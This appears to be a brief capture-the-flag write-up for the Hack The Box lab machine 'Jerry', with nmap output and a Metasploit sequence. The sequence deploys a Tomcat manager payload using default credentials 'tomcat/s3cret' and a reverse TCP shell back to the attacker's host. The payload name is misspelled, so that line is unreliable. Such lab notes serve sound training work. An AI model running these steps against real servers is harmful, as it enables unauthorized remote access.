Jerry

Scanning

nmap

```
sudo nmap -T4 -p- -sV -O 10.10.10.95
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-31 22:52 +07
Nmap scan report for 10.10.10.95 (10.10.10.95)
Host is up (0.033s latency).
Not shown: 65534 filtered tcp ports (no-response)
PORT     STATE SERVICE VERSION
8080/tcp open  http    Apache Tomcat/Coyote JSP engine 1.1
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|phone|specialized
Running (JUST GUESSING): Microsoft Windows 2012|8|Phone|7 (89%)
OS CPE: cpe:/o:microsoft:windows_server_2012 cpe:/o:microsoft:windows_8 cpe:/o:microsoft:windows cpe:/o:microsoft:windows_7
Aggressive OS guesses: Microsoft Windows Server 2012 (89%), Microsoft Windows Server 2012 or Windows Server 2012 R2 (89%), Microsoft Windows Server 2012 R2 (89%), Microsoft Windows 8.1 Update 1 (86%), Microsoft Windows Phone 7.5 or 8.0 (86%), Microsoft Windows Embedded Standard 7 (85%)
No exact OS matches for host (test conditions non-ideal).

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 100.28 seconds
```

Exploit

Metasploit

Link: https://www.bordergate.co.uk/exploiting-tomcat/

```
msfconsole
use multi/http/tomcat_mgr_deploy
set rhosts 10.10.10.95
set rport 8080
set PATH /manager/text
set HttpPassword s3cret
set HttpUsername tomcat
set lhost 10.10.14.31
set target 2
set payload windows/metepreter/reverse_tcp
```

user.txt & root.txt file path = /Users/Administrator/Desktop